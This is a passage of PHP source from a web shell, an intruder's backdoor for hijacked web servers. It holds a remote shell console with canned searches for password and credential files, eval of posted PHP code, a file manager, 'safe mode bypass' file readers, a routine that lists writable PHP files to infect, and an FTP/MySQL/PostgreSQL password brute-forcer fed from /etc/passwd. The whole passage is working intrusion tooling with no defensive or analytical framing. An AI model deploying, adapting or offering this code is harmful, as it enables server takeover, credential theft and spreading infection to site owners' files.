$n = 0;
if ($i + 1 < $len) {
$h[0] .= sprintf('%08X', $i + 1) . '<br>';
}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
break;
case 'rename':
if (!empty($_POST['p3'])) {
if (!@rename($_POST['p1'], $_POST['p3'])) {
echo "Can't rename!<br>";
} else {
die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
break;
case 'touch':
if (!empty($_POST['p3'])) {
$time = strtotime($_POST['p3']);
if ($time) {
if (!touch($_POST['p1'], $time, $time)) {
echo "Fail!";
} else {
echo "Touched!";
}
} else {
echo "Bad time format!";
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
break;
case 'frame':
$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
if ($frameSrc[0] != '/') {
$frameSrc = '/' . $frameSrc;
}
if ($frameSrc[strlen($frameSrc) - 1] != '/') {
$frameSrc .= '/';
}
$frameSrc .= htmlspecialchars($_POST['p1']);
echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
break;
}
echo "</div>";
hardFooter();
}
if ($os == 'win') {
$aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
} else {
$aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
}
function actionConsole()
{
if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif (!empty($_POST['p1'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
if (@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='" . $GLOBALS['cwd'] . "';";
}
}
echo "d.cf.output.value+='" . $temp . "';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "\n", $temp;
exit;
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
hardHeader();
echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
foreach ($GLOBALS['aliases'] as $n => $v) {
if ($v == '') {
echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
continue;
}
echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
}
echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
if (!empty($_POST['p1'])) {
echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
}
echo "</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
echo "</form></div><script>d.cf.cmd.focus();</script>";
hardFooter();
}
function actionPhp()
{
if (isset($_POST['ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
echo strlen($temp), "\n", $temp;
exit;
}
hardHeader();
if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
echo "<h1>PHP info</h1><div class=content>";
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!body {.*}!msiU', '', $tmp);
$tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
$tmp = preg_replace('!h1!msiU', 'h2', $tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
echo $tmp;
echo "</div><br>";
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
if (!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo "</pre></div>";
hardFooter();
}
function actionFilesMan()
{
if (!empty($_COOKIE['f'])) {
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
}
if (!empty($_POST['p1'])) {
switch ($_POST['p1']) {
case 'uploadFile':
if (is_array($_FILES['f']['tmp_name'])) {
foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
echo "Can't upload file!";
}
}
}
break;
case 'mkdir':
if (!@mkdir($_POST['p2'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function deleteDir($path)
{
$path = substr($path, -1) == '/' ? $path : $path . '/';
$dh = opendir($path);
while (($▟ = readdir($dh)) !== false) {
$▟ = $path . $▟;
if (basename($▟) == ".." || basename($▟) == ".") {
continue;
}
$type = filetype($▟);
if ($type == "dir") {
deleteDir($▟);
} else {
@unlink($▟);
}
}
closedir($dh);
@rmdir($path);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $f) {
if ($f == '..') {
continue;
}
$f = urldecode($f);
if (is_dir($f)) {
deleteDir($f);
} else {
@unlink($f);
}
}
}
break;
case 'paste':
if ($_COOKIE['act'] == 'copy') {
function copy_paste($c, $s, $d)
{
if (is_dir($c . $s)) {
mkdir($d . $s);
$h = @opendir($c . $s);
while (($f = @readdir($h)) !== false) {
if ($f != "." and $f != "..") {
copy_paste($c . $s . '/', $f, $d . $s . '/');
}
}
} elseif (is_file($c . $s)) {
@copy($c . $s, $d . $s);
}
}
foreach ($_COOKIE['f'] as $f) {
copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
}
} elseif ($_COOKIE['act'] == 'move') {
function move_paste($c, $s, $d)
{
if (is_dir($c . $s)) {
mkdir($d . $s);
$h = @opendir($c . $s);
while (($f = @readdir($h)) !== false) {
if ($f != "." and $f != "..") {
copy_paste($c . $s . '/', $f, $d . $s . '/');
}
}
} elseif (@is_file($c . $s)) {
@copy($c . $s, $d . $s);
}
}
foreach ($_COOKIE['f'] as $f) {
@rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
}
} elseif ($_COOKIE['act'] == 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach ($_COOKIE['f'] as $f) {
if ($f == '..') {
continue;
}
if (@is_file($_COOKIE['c'] . $f)) {
$zip->addFile($_COOKIE['c'] . $f, $f);
} elseif (@is_dir($_COOKIE['c'] . $f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key => $value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif ($_COOKIE['act'] == 'unzip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['f'] as $f) {
if ($zip->open($_COOKIE['c'] . $f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif ($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if (!empty($_POST['p1'])) {
prototype('act', $_POST['p1']);
prototype('f', serialize(@$_POST['f']));
prototype('c', @$_POST['c']);
}
break;
}
}
hardHeader();
echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
$dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
if ($dirContent === false) {
echo "Can't open this folder!";
hardFooter();
return;
}
global $sort;
$sort = array('name', 1);
if (!empty($_POST['p1'])) {
if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
$sort = array($match[1], (int) $match[2]);
}
}
echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for ($i = 0; $i < $n; $i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
$files[] = array_merge($tmp, array('type' => 'file'));
} elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
} elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
$GLOBALS['sort'] = $sort;
function cmp($a, $b)
{
if ($GLOBALS['sort'][0] != 'size') {
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
} else {
return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
}
}
usort($files, "cmp");
usort($dirs, "cmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach ($files as $f) {
echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='" . $f['link'] . "'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
$l = $l ? 0 : 1;
}
echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
}
echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if (class_exists('ZipArchive')) {
echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
}
echo "<option value='tar'>+ tar.gz</option>";
echo "</select></label>";
if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
echo " file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
}
echo "<input type='submit' value='submit'></td></tr></form></table></div>";
hardFooter();
}
function actionStringTools()
{
if (!function_exists('hex2bin')) {
function hex2bin($p)
{
return decbin(hexdec($p));
}
}
if (!function_exists('binhex')) {
function binhex($p)
{
return dechex(bindec($p));
}
}
if (!function_exists('hex2ascii')) {
function hex2ascii($p)
{
$r = '';
for ($i = 0; $i < strLen($p); $i += 2) {
$r .= chr(hexdec($p[$i] . $p[$i + 1]));
}
return $r;
}
}
if (!function_exists('ascii2hex')) {
function ascii2hex($p)
{
$r = '';
for ($i = 0; $i < strlen($p); ++$i) {
$r .= sprintf('%02X', ord($p[$i]));
}
return strtoupper($r);
}
}
if (!function_exists('full_urlencode')) {
function full_urlencode($p)
{
$r = '';
for ($i = 0; $i < strlen($p); ++$i) {
$r .= '%' . dechex(ord($p[$i]));
}
return strtoupper($r);
}
}
$stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
if (isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
if (in_array($_POST['p1'], $stringTools)) {
echo $_POST['p1']($_POST['p2']);
}
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
echo strlen($temp), "\n", $temp;
exit;
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
hardHeader();
echo "<h1>String conversions</h1><div class=content>";
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
foreach ($stringTools as $k => $v) {
echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
}
echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
if (!empty($_POST['p1'])) {
if (in_array($_POST['p1'], $stringTools)) {
echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
}
echo "</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\r\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\r\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\r\n\t\t\t</table></form>";
function hardRecursiveGlob($path)
{
if (substr($path, -1) != '/') {
$path .= '/';
}
$paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
if (is_array($paths) && @count($paths)) {
foreach ($paths as $▟) {
if (@is_dir($▟)) {
if ($path != $▟) {
hardRecursiveGlob($▟);
}
} else {
if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
}
}
}
}
}
if (@$_POST['p3']) {
hardRecursiveGlob($_POST['c']);
}
echo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method='post' target='_blank' name='hf'>\r\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\r\n <input type='hidden' name='act' value='find'/>\r\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\r\n <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\r\n\t\t</form></div>";
hardFooter();
}
function actionSafeMode()
{
$temp = '';
ob_start();
switch ($_POST['p1']) {
case 1:
$temp = @tempnam($test, 'cx');
if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
echo @file_get_contents($temp);
unlink($temp);
} else {
echo "Sorry... Can't open file";
}
break;
case 2:
$files = glob($_POST['p2'] . '*');
if (is_array($files)) {
foreach ($files as $filename) {
echo $filename . "\n";
}
}
break;
case 3:
$ch = curl_init("file://" . $_POST['p2'] . "\x00" . SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include $_POST['p2'];
break;
case 5:
for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid) {
echo join(':', $uid) . "\n";
}
}
break;
case 6:
if (!function_exists('imap_open')) {
break;
}
$stream = imap_open($_POST['p2'], "", "");
if ($stream == false) {
break;
}
echo imap_body($stream, 1);
imap_close($stream);
break;
}
$temp = ob_get_clean();
hardHeader();
echo "<h1>Safe mode bypass</h1><div class=content>";
echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,\"6\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"submit\"></form>";
if ($temp) {
echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
}
echo "</div>";
hardFooter();
}
function actionLogout()
{
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove()
{
if ($_POST['p1'] == 'yes') {
if (@unlink("/var/www/html/jftdpr.php.7d0faccca66e08b3d603613ba21422b4.bin")) {
die('Shell has been removed');
} else {
echo "unlink error!";
}
}
if ($_POST['p1'] != 'yes') {
hardHeader();
}
echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
hardFooter();
}
function actionInfect()
{
hardHeader();
echo "<h1>Infect</h1><div class=content>";
if ($_POST['p1'] == 'infect') {
$target = $_SERVER['DOCUMENT_ROOT'];
function ListFiles($dir)
{
if ($dh = opendir($dir)) {
$files = array();
$inner_files = array();
while ($file = readdir($dh)) {
if ($file != "." && $file != "..") {
if (is_dir($dir . "/" . $file)) {
$inner_files = ListFiles($dir . "/" . $file);
if (is_array($inner_files)) {
$files = array_merge($files, $inner_files);
}
} else {
array_push($files, $dir . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
foreach (ListFiles($target) as $key => $file) {
$nFile = substr($file, -4, 4);
if ($nFile == ".php") {
if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
echo $file . "<br>";
$i++;
}
}
}
echo "<font color=red size=14>" . $i . "</font>";
} else {
echo "<form method=post><input type=submit value=Infect name=infet></form>";
echo "Really want to infect the server? <a href=# onclick=\"g(null,null,'infect')\">Yes</a></div>";
}
hardFooter();
}
function actionBruteforce()
{
hardHeader();
if (isset($_POST['proto'])) {
echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
if ($_POST['proto'] == 'ftp') {
function bruteForce($ip, $port, $login, $pass)
{
$fp = @ftp_connect($ip, $port ? $port : 21);
if (!$fp) {
return false;
}
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif ($_POST['proto'] == 'mysql') {
function bruteForce($ip, $port, $login, $pass)
{
$res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif ($_POST['proto'] == 'pgsql') {
function bruteForce($ip, $port, $login, $pass)
{
$str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if ($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if (is_array($temp)) {
foreach ($temp as $line) {
$line = explode(":", $line);
++$attempts;
if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
$success++;
